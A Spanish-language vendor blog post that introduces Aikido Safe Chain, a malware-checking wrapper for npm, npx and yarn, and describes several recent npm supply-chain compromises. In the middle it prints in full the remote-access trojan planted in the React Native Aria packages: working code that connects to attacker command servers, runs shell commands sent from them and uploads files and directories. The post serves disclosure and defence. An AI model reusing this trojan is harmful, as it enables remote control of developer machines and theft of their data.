Aikido

Presentamos Safe Chain: Deteniendo paquetes npm maliciosos antes de que arruinen tu proyecto

Escrito por
Mackenzie Jackson

TLDR:
Acabamos de lanzar Aikido Safe Chain, un envoltorio seguro para npm, npx y yarn que se integra en su flujo de trabajo actual y comprueba cada paquete en busca de malware antes de la instalación. Le protege contra la confusión de dependencias, las puertas traseras, los typosquats y otras amenazas de la cadena de suministro en tiempo real sin alterar su flujo de trabajo.



npm install es básicamente la ruleta rusa del desarrollo moderno. Un paquete incorrecto, un error tipográfico sigiloso, y de repente le has entregado a un grupo APT norcoreano las llaves de tu entorno de producción. ¿Divertido, verdad?

Pero los estados-nación, las bandas cibercriminales y los mantenedores maliciosos han descubierto una cosa: la forma más fácil de vulnerar el software moderno es ir directamente a través del desarrollador. ¿Y qué mejor manera que introducir malware en los paquetes de código abierto que instalamos ciegamente cada día?

Por eso hemos creado Aikido Safe Chain, un envoltorio para npm, npx e incluso yarn que actúa como un portero para sus dependencias. Comprueba los paquetes en busca de malware conocido antes de que se instalen en su proyecto, sin necesidad de cambiar su flujo de trabajo.

Para Safe Chain, cada desarrollador de su equipo necesita instalarlo por sí mismo, lo que puede dejar mucho sin cubrir si se intenta proteger a toda una organización de ingeniería. Aikido Endpoint adopta un enfoque diferente. Es un agente ligero que se despliega a través de su MDM existente, por lo que llega a cada estación de trabajo de desarrollador sin que nadie tenga que configurar nada. Cubre todo lo que hace Safe Chain, además de PyPI, Maven, NuGet, extensiones de VS Code y Open VSX, extensiones de Chrome y herramientas de codificación de IA como Cursor, Claude Code, Copilot y Windsurf. Funciona con la misma inteligencia de amenazas de Aikido Intel, pero protege todo el dispositivo del desarrollador en todos los ecosistemas que su equipo está utilizando realmente.

Antes de profundizar en por qué estas herramientas evitan que su máquina de desarrollo se convierta en una botnet de criptominado, hablemos de por qué existe este problema en primer lugar.

¿Por qué los paquetes NPM son un objetivo tan jugoso?

Aquí está la cruda verdad: ya no sabes realmente qué hay en tu aplicación.

Aproximadamente el 70-90% de cualquier pieza de software moderno se compone de código abierto, según la Linux Foundation. Tú no lo escribiste. Tú no lo auditaste. Y aquí está lo más importante: la mayor parte ni siquiera fue instalada directamente por ti. Llegó a través de dependencias transitivas, un término elegante para decir "algún paquete aleatorio a cinco niveles de profundidad decidió traer consigo todo su árbol genealógico."

Una única instalación de npm puede incorporar docenas, a veces cientos, de paquetes, cada uno de los cuales puede ejecutar código arbitrario gracias a los hooks de instalación.

Si un actor malicioso puede introducir su malware en solo uno de esos paquetes, ya sea secuestrando la cuenta de un mantenedor, a través de la confusión de dependencias o publicando una versión con errores tipográficos, pueden afectar a miles de proyectos de una sola vez

No solo palabras: Ataques reales que hemos detectado

Desde principios de 2025, el equipo de seguridad de Aikido ha descubierto una serie de paquetes maliciosos, incluyendo más de 6.000 solo en junio. Aquí hay algunas de las cosas que hemos encontrado. 

La puerta trasera oficial de XRP 

En abril, los atacantes comprometieron el paquete oficial xrpl npm, utilizado para interactuar con la blockchain de XRP. Introdujeron nuevas versiones que exfiltraban discretamente secretos de monedero a un servidor remoto cada vez que se creaba un objeto Wallet.

Si esta puerta trasera hubiera sido instalada por exchanges de criptomonedas, podría haber facilitado los mayores robos de criptomonedas de la historia. El equipo de Aikido detectó las versiones de paquetes manipuladas en los 45 minutos siguientes a su publicación y alertó al equipo de XRP. 

La fiesta RAT de rand-user-agent

Unas semanas más tarde, los atacantes introdujeron un troyano de acceso remoto (RAT) en el paquete rand-user-agent, una utilidad aparentemente aburrida para generar cadenas de navegador falsas. Una vez instalado, el malware creó una puerta trasera, se conectó a un servidor de comando y control, y esperó órdenes como un agente durmiente obediente.

Esto incluía cargas útiles ofuscadas, un secuestro de PATH para Windows, y trucos ingeniosos para instalar módulos adicionales en directorios secretos.

El atacante utilizó espacios en blanco para ocultar código malicioso fuera de la pantalla

Diecisiete librerías, un ataque de estado-nación

Junio fue testigo de un asalto en toda regla al ecosistema React Native Aria: 17 librerías front-end fueron secuestradas a través de un token de mantenedor de GlueStack comprometido. En total, los paquetes tenían más de un millón de descargas semanales, lo que significa que esto podría haber tenido un impacto absolutamente catastrófico en el ecosistema React Native. 

Se insertó una puerta trasera ofuscada como un RAT que permitió al atacante acceso total a la infraestructura en la que se ejecutaba, incluyendo la capacidad de entregar más malware de forma remota.

global._V = '8-npm13';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c("child_process");
    const j = c("crypto");
    const k = f.platform();
    const l = k.startsWith('win');
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === "undefined" ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, "node_modules"));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A('axios');
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          stdio: "inherit",
          "windowsHide": true
        };
        const W = {
          stdio: "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c('axios');
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
    const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
    function L() {
      if (w) {
        return '[eval]' + m + '$' + n;
      }
      return m + '$' + n;
    }
    function M() {
      const Y = j.randomBytes(0x10);
      Y[0x6] = Y[0x6] & 0xf | 0x40;
      Y[0x8] = Y[0x8] & 0x3f | 0x80;
      const Z = Y.toString("hex");
      return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
    }
    function N() {
      const Y = {
        "reconnectionDelay": 0x1388
      };
      G = F(J, Y);
      G.on("connect", () => {
        const Z = L();
        const a0 = {
          "clientUuid": Z,
          "processId": H,
          "osType": o
        };
        G.emit('identify', "client", a0);
      });
      G.on("disconnect", () => {});
      G.on("command", S);
      G.on("exit", () => {
        if (!w) {
          process.exit();
        }
      });
    }
    async function O(Y, Z, a0, a1) {
      try {
        const a2 = new E();
        a2.append("client_id", Y);
        a2.append("path", a0);
        Z.forEach(a4 => {
          const a5 = g.basename(a4);
          a2.append(a5, h.createReadStream(a4));
        });
        const a3 = await D.post(K + "/u/f", a2, {
          'headers': a2.getHeaders()
        });
        if (a3.status === 0xc8) {
          G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
        } else {
          G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
        }
      } catch (a4) {
        G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
      }
    }
    async function P(Y, Z, a0, a1) {
      try {
        let a2 = 0x0;
        let a3 = 0x0;
        const a4 = Q(Z);
        for (const a5 of a4) {
          if (I[a1].stopKey) {
            G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
            return;
          }
          const a6 = g.relative(Z, a5);
          const a7 = g.join(a0, g.dirname(a6));
          try {
            await O(Y, [a5], a7, a1);
            a2++;
          } catch (a8) {
            a3++;
          }
        }
        G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
      } catch (a9) {
        G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
      }
    }
    function Q(Y) {
      let Z = [];
      const a0 = h.readdirSync(Y);
      a0.forEach(a1 => {
        const a2 = g.join(Y, a1);
        const a3 = h.statSync(a2);
        if (a3 && a3.isDirectory()) {
          Z = Z.concat(Q(a2));
        } else {
          Z.push(a2);
        }
      });
      return Z;
    }
    function R(Y) {
      const Z = Y.split(':');
      if (Z.length < 0x2) {
        const a4 = {
          "valid": false,
          "message": "Command is missing \":\" separator or parameters"
        };
        return a4;
      }
      const a0 = Z[0x1].split(',');
      if (a0.length < 0x2) {
        const a5 = {
          "valid": false,
          "message": "Filename or destination is missing"
        };
        return a5;
      }
      const a1 = a0[0x0].trim();
      const a2 = a0[0x1].trim();
      if (!a1 || !a2) {
        const a6 = {
          "valid": false,
          "message": "Filename or destination is empty"
        };
        return a6;
      }
      const a3 = {
        "valid": true,
        filename: a1,
        destination: a2
      };
      return a3;
    }
    function S(Y, Z) {
      if (!Z) {
        const a1 = {
          "valid": false,
          "message": "User UUID not provided in the command."
        };
        return a1;
      }
      if (!I[Z]) {
        const a2 = {
          "currentDirectory": x,
          commandQueue: [],
          "stopKey": false
        };
        I[Z] = a2;
      }
      const a0 = I[Z];
      a0.commandQueue.push(Y);
      T(Z);
    }
    async function T(Y) {
      let Z = I[Y];
      while (Z.commandQueue.length > 0x0) {
        const a0 = Z.commandQueue.shift();
        let a1 = '';
        if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
          const a2 = a0.slice(0x2).trim();
          try {
            process.chdir(Z.currentDirectory);
            process.chdir(a2 || '.');
            Z.currentDirectory = process.cwd();
          } catch (a3) {
            a1 = "Error: " + a3.message;
          }
        } else {
          if (a0 === 'ss_info') {
            a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
          } else {
            if (a0 === "ss_ip") {
              a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
            } else {
              if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
                const a4 = R(a0);
                if (!a4.valid) {
                  a1 = "Invalid command format: " + a4.message + "\n";
                  G.emit('response', a1, Y);
                  continue;
                }
                const {
                  filename: a5,
                  destination: a6
                } = a4;
                Z.stopKey = false;
                a1 = " >> starting upload\n";
                if (a0.startsWith("ss_upf")) {
                  O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
                } else if (a0.startsWith("ss_upd")) {
                  P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
                }
              } else {
                if (a0.startsWith("ss_dir")) {
                  process.chdir(x);
                  Z.currentDirectory = process.cwd();
                } else {
                  if (a0.startsWith('ss_fcd')) {
                    const a7 = a0.split(':');
                    if (a7.length < 0x2) {
                      a1 = "Command is missing \":\" separator or parameters";
                    } else {
                      const a8 = a7[0x1];
                      process.chdir(a8);
                      Z.currentDirectory = process.cwd();
                    }
                  } else {
                    if (a0.startsWith("ss_stop")) {
                      Z.stopKey = true;
                    } else {
                      try {
                        const a9 = {
                          "cwd": Z.currentDirectory,
                          windowsHide: true
                        };
                        if (l) {
                          try {
                            const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
                            const ac = {
                              ...process.env
                            };
                            ac.PATH = ab + ';' + process.env.PATH;
                            a9.env = ac;
                          } catch (ad) {}
                        }
                        if (a0[0x0] === '*') {
                          a9.detached = true;
                          a9.stdio = "ignore";
                          const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
                          const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
                          i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
                        } else {
                          i.exec(a0, a9, (ag, ah, ai) => {
                            let aj = "\n";
                            if (ag) {
                              aj += "Error executing command: " + ag.message;
                            }
                            if (ai) {
                              aj += "Stderr: " + ai;
                            }
                            aj += ah;
                            aj += Z.currentDirectory + "> ";
                            G.emit("response", aj, Y);
                          });
                        }
                      } catch (ag) {
                        a1 = "Error executing command: " + ag.message;
                      }
                    }
                  }
                }
              }
            }
          }
        }
        a1 += Z.currentDirectory + "> ";
        G.emit("response", a1, Y);
      }
    }
    function U() {
      H = M();
      N(H);
    }
    U();
  } catch (Y) {}
})();

Exploits invisibles, ofuscación y espacios en blanco

Puede que pienses que detectar malware sería bastante fácil, llamando a IPs remotas, scripts de instalación extraños o código fuertemente ofuscado. Si bien algunos tipos de malware son más fáciles de detectar que otros, incluso si hicieras una revisión completa del código de todas tus dependencias (buena suerte), algunos son tan sofisticados que pasarían desapercibidos. Por ejemplo, el os-info-checker-es6 utilizó caracteres Unicode invisibles, no visibles en un editor de código normal, para entregar su malware. O malware entregado en imágenes como *****, o quizás el más humorístico, malware oculto por espacios en blanco (un método de ofuscación estúpido pero sorprendentemente efectivo) como react-html2pdf.js 

PUA de Unicode invisibles no visibles en editores de código o en la vista de código de NPM

Por qué Safe-Chain es la herramienta que necesitas ahora mismo

Todos amamos el código abierto. ¿Pero las herramientas de seguridad modernas? No tanto. A menudo son torpes, ruidosas y te hacen sentir como si estuvieras intentando aprender a volar un caza. 

demo
Safe Chain en acción

Obtienes la misma experiencia de desarrollador, solo que con un chaleco de Kevlar debajo.

Por qué Safe Chain supera con creces a otras herramientas de código abierto

Herramientas como npm audit y npq no solo deben ejecutarse como pasos adicionales, sino que también se basan en CVEs públicos o heurísticas básicas. Son adecuadas para problemas conocidos, pero no detectan los zero-days, y el tiempo entre la aparición de un paquete malicioso y su notificación es de unos 10 días. Tiempo suficiente para que los actores de amenazas se incrusten profundamente en tu infraestructura. 

Safe-Chain está impulsado por Aikido Intel, nuestra pipeline de amenazas que detecta alrededor de 200 paquetes maliciosos al día, antes de que aparezcan en las bases de datos de vulnerabilidades.

Y a diferencia de otras herramientas que detectan amenazas a posteriori, Safe-Chain las detiene antes de que se instalen. Nada se rompe, excepto los sueños del posible atacante.

Reflexiones finales: No esperes. Verifica.

El ecosistema npm es una maravilla moderna, una catedral de colaboración, velocidad y... malware. No podemos cambiar el mundo del código abierto de la noche a la mañana, pero podemos darte las herramientas para navegar por él de forma segura.

La esperanza no es una estrategia de seguridad.

Con Safe-Chain, no estás adivinando. Estás verificando. Cada instalación de npm se escanea en tiempo real. Sin puertas traseras. Sin robo de criptomonedas. Sin RATs sorpresa de fiesta en tu portátil.

Instala Safe Chain Hoy

Instalar Aikido Safe Chain es fácil. Solo necesitas 3 sencillos pasos:

Instala el paquete Aikido Safe Chain globalmente usando npm:
npm install -g @aikidosec/safe-chain

Configura la integración de shell ejecutando:
safe-chain setup

❗Reinicia tu terminal para empezar a usar Aikido Safe Chain.

  • Este paso es crucial, ya que asegura que los alias de shell para npm, npx y yarn se carguen correctamente. Si no reinicias tu terminal, los alias no estarán disponibles.

Verifica la instalación ejecutando:
npm install safe-chain-test

  • La salida debería mostrar que Aikido Safe Chain está bloqueando la instalación de este paquete ya que está marcado como malware. (La instalación de este paquete no conlleva ningún riesgo)

¿Necesita proteger a todo su equipo?

Safe Chain le ofrece protección en tiempo real para las instalaciones de npm, npx y yarn, y para muchos desarrolladores eso es suficiente. Pero la mayoría de los equipos no solo ejecutan npm. Los desarrolladores están instalando extensiones de VS Code, obteniendo paquetes de PyPI y Maven, ejecutando agentes de codificación de IA y conectando servidores MCP, todo en estaciones de trabajo que contienen credenciales, código fuente y acceso a producción. Safe Chain no tiene visibilidad de nada de eso. Y solo funciona cuando cada desarrollador lo instala por sí mismo.

Aikido Endpoint gestiona esto a nivel de organización. Se despliega a través de cualquier MDM que ya utilice (Jamf, Kandji, Fleet, otros), por lo que cada estación de trabajo de desarrollador está protegida desde el primer día. Nadie tiene que instalar nada. Cubre npm, PyPI, Maven, NuGet, extensiones de VS Code, Open VSX, extensiones de Chrome y herramientas de codificación de IA, todo inspeccionado contra Aikido Intel en tiempo real. Los equipos de seguridad pueden ver lo que se ejecuta en cada máquina de desarrollador y establecer políticas por equipo, rol o dispositivo.

Si es un desarrollador individual que busca protegerse, instale Safe Chain. Si necesita proteger a un equipo, eche un vistazo a Aikido Endpoint. Está disponible en todos los planes, la protección de npm y PyPi está incluida de forma gratuita. Reserve una demostración o empiece gratis aquí.

Compartir:

https://www.aikido.dev/blog/introducing-safe-chain

Suscríbete para recibir noticias

4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar
Desarrolle software seguro más rápido

Prueba Aikido

Empieza gratis

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.